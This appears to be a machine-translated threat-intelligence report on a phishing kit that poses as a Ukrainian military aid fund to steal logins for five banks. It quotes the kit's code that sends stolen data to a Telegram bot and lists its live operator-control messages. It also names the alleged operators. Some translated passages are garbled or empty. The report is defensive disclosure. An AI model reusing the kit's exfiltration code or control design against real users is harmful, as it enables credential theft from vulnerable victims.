军事援助钓鱼网络曝光： 5家银行成为目标，运营者身份已查明

PhishDestroy 的发现

2026年3月20日，PhishDestroy的自动化威胁检测Pipeline标记了 dopomogvoina[.]sbs — 一个新注册的域名，托管着一个冒充……的钓鱼网站 “守护者的盾牌” （“捍卫者之盾”），一个伪造的乌克兰军事援助基金会。该网站以乌克兰退伍军人、战斗伤员及阵亡将士家属为目标，以提供政府财政援助为幌子，实则窃取乌克兰五大银行的银行登录凭证。

以下是对我们的自动化分析所发现的所有内容的完整剖析：社会工程学手段、技术基础设施、实时操作控制系统，以及运营该系统的相关人员的身份。

第1节：诱饵——虚假的军事援助基金会

该域名 dopomogvoina[.]sbs 于2026年3月20日通过 NiceNIC国际集团有限公司，这是一家有据可查、在处理滥用投诉方面反应迟缓甚至完全不作为的域名注册商。该 .sbs TLD（并行部署）是一种低成本的通用顶级域名（gTLD），常被用于搭建一次性网络钓鱼基础设施。

该网站自诩为一个专业的、与政府相关的援助门户网站。页眉处满是乌克兰国旗，军事图像增添了真实感，页面内容用乌克兰语精心撰写，采用的官僚式措辞与正规政府项目如出一辙。

截图 5 —— 冒充“Щит Захисника”（守护者之盾）的钓鱼网站登录页面。

为了建立可信度，运营商在登录页面上醒目地展示了一个虚假的统计计数器：

• 2,847份申请 ——这意味着已有数千人获得了援助
• 已分发₴47.2M — 一个在UAH中看似庞大却令人信服的数字
• 19 个项目 — 这表明这是一项全面、涉及多个项目的行动

这些数字完全是捏造的，被硬编码到页面源代码中，与后端没有任何关联。它们只有一个目的：通过“社会证明”来消除受害者的犹豫。

第2节：陷阱——5家银行，一个目标

点击“Подати заявку”（提交申请）后，受害者会看到一个银行选择界面。界面中列出了乌克兰五家最大的零售银行作为选项，每家银行都显示其官方品牌名称和徽标。此时，社会工程学手段便从情感操控转向了技术盗窃。

截图 6 — 银行选择界面。每个选项都会触发一套定制的凭证窃取流程。

对该网站 JavaScript 打包文件的分析显示，每家银行都有一个 独特的多步骤凭证窃取流程, 根据该银行的实际身份验证流程量身定制：

每家银行的攻击流程都遵循相同的模式：

截图 7 — 克隆的 PrivatBank 登录界面。

截图 9 — 克隆的 PUMB 登录界面。

截图 10 — 完整的攻击流程：从虚假军事援助页面开始，经由银行选择，直至凭证窃取和账户接管。

技术栈： React 单页应用 前端通过以下方式交付 Cloudflare CDN，带有 Express.js 后端负责处理凭证外泄。React 架构支持无缝的多步骤表单，其操作体验与正规银行界面几乎毫无二致。

第3节：操作员实时控制

这并非一个仅使用静态数据库的简单凭证窃取工具。该网络钓鱼工具包包含一个 实时 WebSocket 控制面板 这使得人工操作员能够实时操控每个受害者的会话。

位于 wss://dopomogvoina[.]sbs/ws 支持以下消息类型：

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

这种实时控制意味着操作员可以：

• 强制进入等待状态 — 在他们登录受害者的真实银行账户时，显示“正在处理您的申请...”
• 重定向到特定步骤 — 如果第一个短信验证码已过期，请重新请求一个
• 显示虚假错误信息 — 显示“代码无效，请重新输入”以获取多个双因素认证令牌
• 提出自定义问题 — 在会话过程中请求出生日期、卡号或任何其他数据

截图 8 — 用于发起凭证盗取的电话号码输入表单。

截图 11 — 操作员用于控制受害者会话的实时机器人控制面板。

每次会话中被窃取的全部数据包括： phone, password, PIN, SMS code, card number, date of birth，以及 email.

第4节：Cloudflare幕后——两个项目，一台服务器

Cloudflare 的代理服务隐藏了源服务器，但 PhishDestroy 的基础设施 Pipeline 成功解析出了真实的源 IP： 45.131.214[.]148，托管于 RapidSeedbox / LeaseWeb 在荷兰。

一个关键细节： dopomogvoina[.]sbs 是通过……代理的 Cloudflare，从而隐藏了其源IP地址。但我们的系统也会追踪 hlpforvpeople[.]sbs — 一个通过同一NiceNIC注册商注册的、模式相匹配的相关域名。该域名是 并非由 Cloudflare 提供支持，直接暴露了其源IP地址： 45.131.214[.]148.

直接连接到该 IP 地址——不通过 Host 标题——揭示了一个出人意料的事实：一个 一个完全不同的钓鱼网站. 该默认虚拟主机提供的内容并非乌克兰军事援助，而是 “医疗保险卡”，这是一起针对印尼健康保险的网络钓鱼诈骗活动。服务器相同，受害者却截然不同，且发生在完全不同的国家。

截图 12 —— 两起并行的网络钓鱼活动共享同一源服务器：乌克兰军事援助（dopomogvoina）和印尼医疗保险（HealthCare ID）。

印尼网络钓鱼模板是一个 PhishDestroy 威胁情报数据库中记录的已知套件. 我们已经看到这种模板的变体在东南亚各地被部署——目标是印尼、泰国和越南的金融机构。攻击者只需更换针对特定国家的模板，同时复用相同的后端基础设施。

第 5 节：那个暴露了一切的 config.json 文件

下面将一步步详细说明，一个配置错误的文件是如何导致整个操作陷入混乱的。

在确定源服务器的第二个项目后，PhishDestroy的 JS 分析器 ——我们的自动化 JavaScript 智能分析工具——将分析目标对准了位于 https://45.131.214[.]148/assets/index-ZMQxHb_h.js. 该分析工具从这个 335KB 的 JavaScript 文件中提取了所有 API 端点、外部 URL 和配置路径。发现的内容包括：

• Five API endpoints at rezervtemka[.]cc — 用于凭证验证的 C2 面板
• 与 wss://rezervtemka[.]cc
• 集成 Facebook Pixel 以追踪受害者
• 对……的引用 /config.json — 运行时加载，用于 Telegram 机器人配置

根据这一线索，我们获取了 /config.json 来自源IP。该文件无需任何身份验证即可访问——位于Web根目录下，任何人都可以读取：

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

该 /config.json 该文件可直接从源IP访问—— 没有身份验证，没有访问控制，只是一个位于Web根目录下的普通JSON文件:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Telegram 机器人的令牌既是用户名也是密码。任何拥有该令牌的人都可以以该机器人的身份调用 API。运营者将他们的令牌保存在了一个公开可访问的文件中。 经过六次API调用后，我们已经获得了所有数据：

截图 13 — 完整的 OSINT 链：仅需 6 次 API 调用，即可从暴露的 config.json 文件追踪到操作员的完整身份信息。

仅凭一个配置错误的文件，便通过六个HTTP请求成功识别出所有操作员身份。无需利用漏洞，也未进行任何未经授权的访问——仅仅是通过使用操作员自己暴露在外的令牌，调用标准的Telegram机器人API接口即可。

第6节：操作员

截图 14 —— 通过泄露的机器人令牌曝光的“Idr card” Telegram 运营者群组。

所有者/创作者

莫内蒂·埃斯科巴

@monettiescobar

Telegram ID：8135223234

Telegram Premium，企业账号

时区：UTC+3（独联体地区）

10条公开消息——严格遵守作战安全规定（OPSEC）

TraFFeeQ 聊天美杜莎 Google AdsDeepfakes 频道

调度员 / 交通

博尼亚

@BoaCC159

Telegram ID：6242202706

别名：PapaZakonVor、Boa、bubullikk简体中文（大陆）

12个群组中共有261条消息

DC2 — 阿姆斯特丹，荷兰

CryptoGrabSTYX 市场Raven CCEMPIRE CHAT凤凰解决方案

开发人员 / 程序员

德沃伊斯

@devosus

Telegram ID：8213612730

网络钓鱼工具包开发者——运营人员称他为“程序员”

发现安全漏洞时被要求“考虑防御措施”

设计上力求将对公众的影响降至最低

手柄 @devosus ≈ “dev ops us”——以职位名称作为用户名

套件开发者基础设施安全

莫内蒂·埃斯科巴——老大

MONETTI 坚持严格的运营安全——仅 10 条公开消息 分为两个组。但这两个组的情况说明了一切： TraFFeeQ 聊天 （用于欺诈的流量套利）， 美杜莎 Google Ads （黑帽 Google Ads），以及一个 Deepfakes 频道. 他的Telegram商业资料中写着“Есть предложение”（“有个提议”) — 公开宣传服务。UTC+3时区（与莫斯科/明斯克/基辅一致）以及全天候（24/7）的营业时间，证实了该平台以独联体地区为基地，全天候运营。

博尼亚——那个粗心的人

与MONETTI谨慎的作战安全措施不同，Bonya（原化名： PapaZakonVor — 大致可译为“DaddyThiefByLaw”）留下了大量数字痕迹—— 12个地下群组中共计261条消息. 他的聊天记录读起来就像一份犯罪履历：

他所属的团体成员情况勾勒出一幅完整的图景： CryptoGrab （加密货币钱包盗取者）， STYX 市场 （被盗数据的地下交易市场）， Raven CC 验证工具 (信用卡验证工具)， EMPIRE CHAT 以及 凤凰解决方案 （欺诈协调）。这并非初犯——此人早已深陷网络犯罪生态系统之中。

Devoys — 开发商

该行动的技术支柱。设计上力求将公开痕迹降至最低——当该组织遭到入侵时，博尼亚明确指名让他： “@devosus，趁我们还没被干得屁滚尿流，赶紧想想怎么防守吧” — “@devosus，在咱们被打得落花流水之前，先想想防守吧。” 他对这一违规行为的讽刺性回应—— “当加入国际刑警组织时” (“何时进行插值”) — 这表明这并非他们第一次险些遭遇不测。

行为分析：261条消息解读

PhishDestroy 的 OSINT Pipeline 收集并翻译了 全部 261 条公开消息 来自Bonya的12个地下Telegram群组（2024年6月—2026年3月）。通过DeepL API进行机器翻译，并结合人工语境校正。这些消息揭示了一整套运作模式——下文按犯罪活动类型进行了分类。

银行诈骗与网络钓鱼

洗钱中介与套现

流量欺诈与广告滥用

莫内蒂·埃斯科巴：《沉默的老板》

与Bonya的261条消息形成鲜明对比的是，MONETTI只有 10 条公开消息 ——全部都在一个帖子中，位于 TraFFeeQ 聊天 （黑色ADS/SEO流量套利），为同事辩护：

MONETTI的Telegram群组透露了更多信息： 美杜莎 Google Ads （黑帽PPC欺诈），一个 Deepfakes 频道 （用于欺诈的合成媒体），以及 万宝路聊天室 （私密，未知）。Telegram Premium 订阅、全天候服务以及“Есть предложение”（“有个提议”) 商业传记描绘了一位将网络犯罪视为全职事业的人。

截图 2 — MONETTI 的 Telegram 个人资料。

截图 3 —— Bonya 的个人资料。请注意 DC2（阿姆斯特丹）。

第7节：恐慌室

在PhishDestroy通过该暴露的Telegram机器人访问运营者群组后，双方进行了如下对话。下方的聊天记录已翻译成英语，原文俄语部分以斜体保留。用于访问的身份信息已被遮盖。

该群组在几分钟内就被删除了。博尼亚临别时的回应——“+”——以及德沃伊斯的确认“是的”，就说明了一切： 他们知道自己暴露了，唯一的办法就是销毁证据。 但那时，数据已经采集完毕。

请注意博尼亚这番耐人寻味的评论： “我们的乌克兰机器人也遭到了攻击” — 证实这两个项目（乌克兰和印度尼西亚）由同一支运营团队负责，而且这并非他们的基础设施首次遭到入侵。

第8节：这说明了什么

调查时间线

相关域名

我们的分析发现了一个第二个领域—— hlpforvpeople[.]sbs — 通过同一注册商注册，且基础设施模式一致。这两个域名均记录在我们的数据库中：

• PhishDestroy 报告：dopomogvoina[.]sbs
• PhishDestroy 报告：hlpforvpeople[.]sbs

要点总结

• 自动化是跟上时代步伐的唯一途径。 网络钓鱼工具包可在数小时内部署并转化为攻击武器。人工审查无法跟上这种速度。
• 操作员也会犯错。 一个辅助项目中暴露的配置文件，揭露了一起涉及多个国家的网络钓鱼行动。要在每个项目中都保持完美的行动安全（OPSEC）实属不易。
• 社会工程学随着新闻周期的变化而不断演变。 战争、人道主义援助和政府项目正越来越多地被用作网络钓鱼的诱饵，因为这些手段针对的是身处困境、较少质疑其合法性的群体。
• 基础设施的复用已成为常态。 一台服务器、两个网络钓鱼项目、两个国家，但操作者相同。梳理基础设施之间的关联，所揭示的信息远比孤立地分析单个域名要多得多。

免责声明： 本次调查完全通过被动侦察和公开API进行。未对任何系统进行未经授权的访问。Telegram机器人API调用使用了一个由运营者在无需身份验证的端点中公开暴露的令牌。根据信息安全领域的标准惯例，本文中所有域名均已进行匿名处理。